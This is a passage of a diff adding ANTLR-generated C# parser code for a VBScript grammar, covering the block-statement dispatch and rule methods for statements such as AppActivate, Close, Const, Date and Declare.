ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlockStmt(this); + } + } + + [RuleVersion(0)] + public BlockStmtContext blockStmt() { + BlockStmtContext _localctx = new BlockStmtContext(Context, State); + EnterRule(_localctx, 56, RULE_blockStmt); + try { + State = 855; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,79,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 787; + appActivateStmt(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 788; + attributeStmt(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 789; + beepStmt(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 790; + chDirStmt(); + } + break; + case 5: + EnterOuterAlt(_localctx, 5); + { + State = 791; + chDriveStmt(); + } + break; + case 6: + EnterOuterAlt(_localctx, 6); + { + State = 792; + closeStmt(); + } + break; + case 7: + EnterOuterAlt(_localctx, 7); + { + State = 793; + constStmt(); + } + break; + case 8: + EnterOuterAlt(_localctx, 8); + { + State = 794; + dateStmt(); + } + break; + case 9: + EnterOuterAlt(_localctx, 9); + { + State = 795; + deleteSettingStmt(); + } + break; + case 10: + EnterOuterAlt(_localctx, 10); + { + State = 796; + deftypeStmt(); + } + break; + case 11: + EnterOuterAlt(_localctx, 11); + { + State = 797; + doLoopStmt(); + } + break; + case 12: + EnterOuterAlt(_localctx, 12); + { + State = 798; + endStmt(); + } + break; + case 13: + EnterOuterAlt(_localctx, 13); + { + State = 799; + eraseStmt(); + } + break; + case 14: + EnterOuterAlt(_localctx, 14); + { + State = 800; + errorStmt(); + } + break; + case 15: + EnterOuterAlt(_localctx, 15); + { + State = 801; + exitStmt(); + } + break; + case 16: + EnterOuterAlt(_localctx, 16); + { + State = 802; + explicitCallStmt(); + } + break; + case 17: + EnterOuterAlt(_localctx, 17); + { + State = 803; + filecopyStmt(); + } + break; + case 18: + EnterOuterAlt(_localctx, 18); + { + State = 804; + forEachStmt(); + } + break; + case 19: + EnterOuterAlt(_localctx, 19); + { + State = 805; + forNextStmt(); + } + break; + case 20: + EnterOuterAlt(_localctx, 20); + { + State = 806; + getStmt(); + } + break; + case 21: + EnterOuterAlt(_localctx, 21); + { + State = 807; + goSubStmt(); + } + break; + case 22: + EnterOuterAlt(_localctx, 22); + { + State = 808; + goToStmt(); + } + break; + case 23: + EnterOuterAlt(_localctx, 23); + { + State = 809; + inlineIfThenElseStmt(); + } + break; + case 24: + EnterOuterAlt(_localctx, 24); + { + State = 810; + ifThenElseStmt(); + } + break; + case 25: + EnterOuterAlt(_localctx, 25); + { + State = 811; + implementsStmt(); + } + break; + case 26: + EnterOuterAlt(_localctx, 26); + { + State = 812; + inputStmt(); + } + break; + case 27: + EnterOuterAlt(_localctx, 27); + { + State = 813; + killStmt(); + } + break; + case 28: + EnterOuterAlt(_localctx, 28); + { + State = 814; + midStmt(); + } + break; + case 29: + EnterOuterAlt(_localctx, 29); + { + State = 815; + letStmt(); + } + break; + case 30: + EnterOuterAlt(_localctx, 30); + { + State = 816; + lineInputStmt(); + } + break; + case 31: + EnterOuterAlt(_localctx, 31); + { + State = 817; + loadStmt(); + } + break; + case 32: + EnterOuterAlt(_localctx, 32); + { + State = 818; + lockStmt(); + } + break; + case 33: + EnterOuterAlt(_localctx, 33); + { + State = 819; + lsetStmt(); + } + break; + case 34: + EnterOuterAlt(_localctx, 34); + { + State = 820; + macroIfThenElseStmt(); + } + break; + case 35: + EnterOuterAlt(_localctx, 35); + { + State = 821; + mkdirStmt(); + } + break; + case 36: + EnterOuterAlt(_localctx, 36); + { + State = 822; + nameStmt(); + } + break; + case 37: + EnterOuterAlt(_localctx, 37); + { + State = 823; + onErrorStmt(); + } + break; + case 38: + EnterOuterAlt(_localctx, 38); + { + State = 824; + onGoToStmt(); + } + break; + case 39: + EnterOuterAlt(_localctx, 39); + { + State = 825; + onGoSubStmt(); + } + break; + case 40: + EnterOuterAlt(_localctx, 40); + { + State = 826; + openStmt(); + } + break; + case 41: + EnterOuterAlt(_localctx, 41); + { + State = 827; + printStmt(); + } + break; + case 42: + EnterOuterAlt(_localctx, 42); + { + State = 828; + putStmt(); + } + break; + case 43: + EnterOuterAlt(_localctx, 43); + { + State = 829; + raiseEventStmt(); + } + break; + case 44: + EnterOuterAlt(_localctx, 44); + { + State = 830; + randomizeStmt(); + } + break; + case 45: + EnterOuterAlt(_localctx, 45); + { + State = 831; + redimStmt(); + } + break; + case 46: + EnterOuterAlt(_localctx, 46); + { + State = 832; + resetStmt(); + } + break; + case 47: + EnterOuterAlt(_localctx, 47); + { + State = 833; + resumeStmt(); + } + break; + case 48: + EnterOuterAlt(_localctx, 48); + { + State = 834; + returnStmt(); + } + break; + case 49: + EnterOuterAlt(_localctx, 49); + { + State = 835; + rmdirStmt(); + } + break; + case 50: + EnterOuterAlt(_localctx, 50); + { + State = 836; + rsetStmt(); + } + break; + case 51: + EnterOuterAlt(_localctx, 51); + { + State = 837; + savepictureStmt(); + } + break; + case 52: + EnterOuterAlt(_localctx, 52); + { + State = 838; + saveSettingStmt(); + } + break; + case 53: + EnterOuterAlt(_localctx, 53); + { + State = 839; + seekStmt(); + } + break; + case 54: + EnterOuterAlt(_localctx, 54); + { + State = 840; + selectCaseStmt(); + } + break; + case 55: + EnterOuterAlt(_localctx, 55); + { + State = 841; + sendkeysStmt(); + } + break; + case 56: + EnterOuterAlt(_localctx, 56); + { + State = 842; + setattrStmt(); + } + break; + case 57: + EnterOuterAlt(_localctx, 57); + { + State = 843; + setStmt(); + } + break; + case 58: + EnterOuterAlt(_localctx, 58); + { + State = 844; + stopStmt(); + } + break; + case 59: + EnterOuterAlt(_localctx, 59); + { + State = 845; + timeStmt(); + } + break; + case 60: + EnterOuterAlt(_localctx, 60); + { + State = 846; + unloadStmt(); + } + break; + case 61: + EnterOuterAlt(_localctx, 61); + { + State = 847; + unlockStmt(); + } + break; + case 62: + EnterOuterAlt(_localctx, 62); + { + State = 848; + variableStmt(); + } + break; + case 63: + EnterOuterAlt(_localctx, 63); + { + State = 849; + whileWendStmt(); + } + break; + case 64: + EnterOuterAlt(_localctx, 64); + { + State = 850; + widthStmt(); + } + break; + case 65: + EnterOuterAlt(_localctx, 65); + { + State = 851; + withStmt(); + } + break; + case 66: + EnterOuterAlt(_localctx, 66); + { + State = 852; + writeStmt(); + } + break; + case 67: + EnterOuterAlt(_localctx, 67); + { + State = 853; + implicitCallStmt_InStmt(); + } + break; + case 68: + EnterOuterAlt(_localctx, 68); + { + State = 854; + implicitCallStmt_InBlock(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AppActivateStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPACTIVATE() { return GetToken(VBScriptParser.APPACTIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public AppActivateStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_appActivateStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAppActivateStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAppActivateStmt(this); + } + } + + [RuleVersion(0)] + public AppActivateStmtContext appActivateStmt() { + AppActivateStmtContext _localctx = new AppActivateStmtContext(Context, State); + EnterRule(_localctx, 58, RULE_appActivateStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 857; + Match(APPACTIVATE); + State = 858; + Match(WS); + State = 859; + valueStmt(0); + State = 868; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,82,Context) ) { + case 1: + { + State = 861; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 860; + Match(WS); + } + } + + State = 863; + Match(COMMA); + State = 865; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,81,Context) ) { + case 1: + { + State = 864; + Match(WS); + } + break; + } + State = 867; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BeepStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEEP() { return GetToken(VBScriptParser.BEEP, 0); } + public BeepStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_beepStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBeepStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBeepStmt(this); + } + } + + [RuleVersion(0)] + public BeepStmtContext beepStmt() { + BeepStmtContext _localctx = new BeepStmtContext(Context, State); + EnterRule(_localctx, 60, RULE_beepStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 870; + Match(BEEP); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ChDirStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDIR() { return GetToken(VBScriptParser.CHDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public ChDirStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_chDirStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterChDirStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitChDirStmt(this); + } + } + + [RuleVersion(0)] + public ChDirStmtContext chDirStmt() { + ChDirStmtContext _localctx = new ChDirStmtContext(Context, State); + EnterRule(_localctx, 62, RULE_chDirStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 872; + Match(CHDIR); + State = 873; + Match(WS); + State = 874; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ChDriveStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDRIVE() { return GetToken(VBScriptParser.CHDRIVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public ChDriveStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_chDriveStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterChDriveStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitChDriveStmt(this); + } + } + + [RuleVersion(0)] + public ChDriveStmtContext chDriveStmt() { + ChDriveStmtContext _localctx = new ChDriveStmtContext(Context, State); + EnterRule(_localctx, 64, RULE_chDriveStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 876; + Match(CHDRIVE); + State = 877; + Match(WS); + State = 878; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CloseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLOSE() { return GetToken(VBScriptParser.CLOSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public CloseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_closeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCloseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCloseStmt(this); + } + } + + [RuleVersion(0)] + public CloseStmtContext closeStmt() { + CloseStmtContext _localctx = new CloseStmtContext(Context, State); + EnterRule(_localctx, 66, RULE_closeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 880; + Match(CLOSE); + State = 896; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,86,Context) ) { + case 1: + { + State = 881; + Match(WS); + State = 882; + valueStmt(0); + State = 893; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,85,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 884; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 883; + Match(WS); + } + } + + State = 886; + Match(COMMA); + State = 888; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,84,Context) ) { + case 1: + { + State = 887; + Match(WS); + } + break; + } + State = 890; + valueStmt(0); + } + } + } + State = 895; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,85,Context); + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ConstStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CONST() { return GetToken(VBScriptParser.CONST, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstSubStmtContext[] constSubStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstSubStmtContext constSubStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public PublicPrivateGlobalVisibilityContext publicPrivateGlobalVisibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public ConstStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_constStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterConstStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitConstStmt(this); + } + } + + [RuleVersion(0)] + public ConstStmtContext constStmt() { + ConstStmtContext _localctx = new ConstStmtContext(Context, State); + EnterRule(_localctx, 68, RULE_constStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 901; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 74)) & ~0x3f) == 0 && ((1L << (_la - 74)) & 153122387330596865L) != 0)) { + { + State = 898; + publicPrivateGlobalVisibility(); + State = 899; + Match(WS); + } + } + + State = 903; + Match(CONST); + State = 904; + Match(WS); + State = 905; + constSubStmt(); + State = 916; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,90,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 907; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 906; + Match(WS); + } + } + + State = 909; + Match(COMMA); + State = 911; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 910; + Match(WS); + } + } + + State = 913; + constSubStmt(); + } + } + } + State = 918; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,90,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ConstSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + public ConstSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_constSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterConstSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitConstSubStmt(this); + } + } + + [RuleVersion(0)] + public ConstSubStmtContext constSubStmt() { + ConstSubStmtContext _localctx = new ConstSubStmtContext(Context, State); + EnterRule(_localctx, 70, RULE_constSubStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 919; + ambiguousIdentifier(); + State = 921; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 920; + typeHint(); + } + } + + State = 925; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,92,Context) ) { + case 1: + { + State = 923; + Match(WS); + State = 924; + asTypeClause(); + } + break; + } + State = 928; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 927; + Match(WS); + } + } + + State = 930; + Match(EQ); + State = 932; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,94,Context) ) { + case 1: + { + State = 931; + Match(WS); + } + break; + } + State = 934; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DateStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATE() { return GetToken(VBScriptParser.DATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public DateStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_dateStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDateStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDateStmt(this); + } + } + + [RuleVersion(0)] + public DateStmtContext dateStmt() { + DateStmtContext _localctx = new DateStmtContext(Context, State); + EnterRule(_localctx, 72, RULE_dateStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 936; + Match(DATE); + State = 938; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 937; + Match(WS); + } + } + + State = 940; + Match(EQ); + State = 942; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,96,Context) ) { + case 1: + { + State = 941; + Match(WS); + } + break; + } + State = 944; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DeclareStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DECLARE() { return GetToken(VBScriptParser.DECLARE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIB() { return GetToken(VBScriptParser.LIB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] STRINGLITERAL() { return GetTokens(VBScriptParser.STRINGLITERAL); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL(int i) { + return GetToken(VBScriptParser.STRINGLITERAL, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FUNCTION() { return GetToken(VBScriptParser.FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SUB() { return GetToken(VBScriptParser.SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PTRSAFE() { return GetToken(VBScriptParser.PTRSAFE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext[] typeHint() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ALIAS() { return GetToken(VBScriptParser.ALIAS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + public DeclareStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_declareStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDeclareStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDeclareStmt(this); + } + } + + [RuleVersion(0)] + public DeclareStmtContext declareStmt() { + DeclareStmtContext _localctx = new DeclareStmtContext(Context, State); + EnterRule(_localctx, 74, RULE_declareStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 949; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 946; + visibility(); + State = 947; + Match(WS); + } + } + + State = 951; + Match(DECLARE); + State = 952; + Match(WS); + State = 955; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==PTRSAFE) { + { + State = 953; + Match(PTRSAFE); + State = 954; + Match(WS); + } + } + + State = 962; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case FUNCTION: + { + State = 957; + Match(FUNCTION); + State = 959; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 958; + typeHint(); + } + } + + } + break; + case SUB: + { + State = 961; + Match(SUB); + } + break; + default: + throw new NoViableAltException(this); + } + State = 964; + Match(WS); + State = 965; + ambiguousIdentifier(); + State = 967; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 966; + typeHint(); + } + } + + State = 969; + Match(WS); + State = 970; + Match(LIB); + State = 971; + Match(WS); + State = 972; + Match(STRINGLITERAL); + State = 977; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,102,Context) ) { + case 1: + { + State = 973; + Match(WS); + State = 974; + Match(ALIAS); + State = 975; + Match(WS); + State = 976; + Match(STRINGLITERAL); + } + break; + } + State = 983; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,104,Context) ) { + case 1: + { + State = 980; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 979; + Match(WS); + } + } + + State = 982; + argList(); + } + break; + } + State = 987; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,105,Context) ) { + case 1: + { + State = 985; + Match(WS); + State = 986; + asTypeClause(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DeftypeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public LetterrangeContext[] letterrange() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LetterrangeContext letterrange(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBOOL() { return GetToken(VBScriptParser.DEFBOOL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBYTE() { return GetToken(VBScriptParser.DEFBYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFINT() { return GetToken(VBScriptParser.DEFINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFLNG() { return GetToken(VBScriptParser.DEFLNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFCUR() { return GetToken(VBScriptParser.DEFCUR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSNG() { return GetToken(VBScriptParser.DEFSNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDBL() { return GetToken(VBScriptParser.DEFDBL, 0); } + 